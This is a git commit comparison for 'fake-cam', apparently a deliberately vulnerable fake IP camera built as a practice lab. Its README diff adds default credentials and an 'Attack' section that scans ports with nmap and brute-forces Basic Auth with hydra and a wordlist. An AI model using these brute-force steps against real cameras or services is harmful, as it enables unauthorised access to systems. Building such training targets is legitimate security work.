Compare commits
5 Commits
ba42e29e61
...
a3be4bf77a
| Author | SHA1 | Date | |
|---|---|---|---|
| a3be4bf77a | |||
| 29015050e8 | |||
| cc3a8a0d8d | |||
| 00b6db6ca6 | |||
| 8ba844a81e |
@@ -6,6 +6,8 @@ on:
|
|||||||
- ".gitignore"
|
- ".gitignore"
|
||||||
- "README.md"
|
- "README.md"
|
||||||
- "LICENSE"
|
- "LICENSE"
|
||||||
|
- "docker-compose.yml"
|
||||||
|
- "video.mp4"
|
||||||
branches:
|
branches:
|
||||||
- master
|
- master
|
||||||
|
|
||||||
|
|||||||
@@ -1,9 +1,7 @@
|
|||||||
FROM nginx:alpine
|
FROM nginx:alpine
|
||||||
|
|
||||||
# Installation de FFmpeg
|
|
||||||
RUN apk add --no-cache ffmpeg
|
RUN apk add --no-cache ffmpeg
|
||||||
|
|
||||||
# Configuration
|
|
||||||
COPY nginx.conf /etc/nginx/nginx.conf
|
COPY nginx.conf /etc/nginx/nginx.conf
|
||||||
COPY htpasswd /etc/nginx/.htpasswd
|
COPY htpasswd /etc/nginx/.htpasswd
|
||||||
COPY index.html /usr/share/nginx/html/index.html
|
COPY index.html /usr/share/nginx/html/index.html
|
||||||
|
|||||||
37
README.md
37
README.md
@@ -22,8 +22,43 @@ git clone https://git.phorge.fr/l-nmch/fake-cam.git
|
|||||||
docker compose build
|
docker compose build
|
||||||
```
|
```
|
||||||
|
|
||||||
3. Run the container
|
## Deploy
|
||||||
|
|
||||||
|
1. Run the container
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker compose up -d
|
docker compose up -d
|
||||||
```
|
```
|
||||||
|
|
||||||
|
2. Verify cam access
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -u admin:cam123 http://<ip>:3301
|
||||||
|
```
|
||||||
|
|
||||||
|
## Attack
|
||||||
|
|
||||||
|
1. Install required tools
|
||||||
|
|
||||||
|
```bash
|
||||||
|
apt install hydra curl nmap zip unzip -y
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Download the [wordlist](./wordlist.txt)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
wget https://git.phorge.fr/l-nmch/fake-cam/raw/branch/master/wordlist.txt
|
||||||
|
unzip rockyou.txt.zip
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Find open ports:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nmap -sC -sV <ip>
|
||||||
|
```
|
||||||
|
|
||||||
|
4. Bruteforce Basic-Auth
|
||||||
|
|
||||||
|
```bash
|
||||||
|
hydra -l admin -P wordlist.txt -s 3301 <ip> http-get /
|
||||||
|
```
|
||||||
@@ -4,7 +4,7 @@ services:
|
|||||||
container_name: fake-webcam-stream
|
container_name: fake-webcam-stream
|
||||||
restart: unless-stopped
|
restart: unless-stopped
|
||||||
ports:
|
ports:
|
||||||
- "8080:80"
|
- "3301:80"
|
||||||
volumes:
|
volumes:
|
||||||
- ./video.mp4:/video.mp4:ro
|
- ./video.mp4:/video.mp4:ro
|
||||||
deploy:
|
deploy:
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<title>IP CAMERA</title>
|
<title>Caméra IP Mayolis</title>
|
||||||
<style>
|
<style>
|
||||||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||||
body {
|
body {
|
||||||
@@ -54,7 +54,7 @@
|
|||||||
<div class="cam-frame">
|
<div class="cam-frame">
|
||||||
<video id="stream" autoplay muted playsinline disablepictureinpicture disableRemotePlayback></video>
|
<video id="stream" autoplay muted playsinline disablepictureinpicture disableRemotePlayback></video>
|
||||||
<div class="osd">
|
<div class="osd">
|
||||||
<div class="osd-tl">CAM-01 | 512x512<br><span id="clock">00:00:00</span></div>
|
<div class="osd-tl">CAM-STORE-01 | 512x512<br><span id="clock">00:00:00</span></div>
|
||||||
<div class="osd-tr"><span class="rec-dot"></span> REC</div>
|
<div class="osd-tr"><span class="rec-dot"></span> REC</div>
|
||||||
<div class="osd-bl">H.264 | 1500K | LIVE</div>
|
<div class="osd-bl">H.264 | 1500K | LIVE</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
5063
wordlist.txt
Normal file
5063
wordlist.txt
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user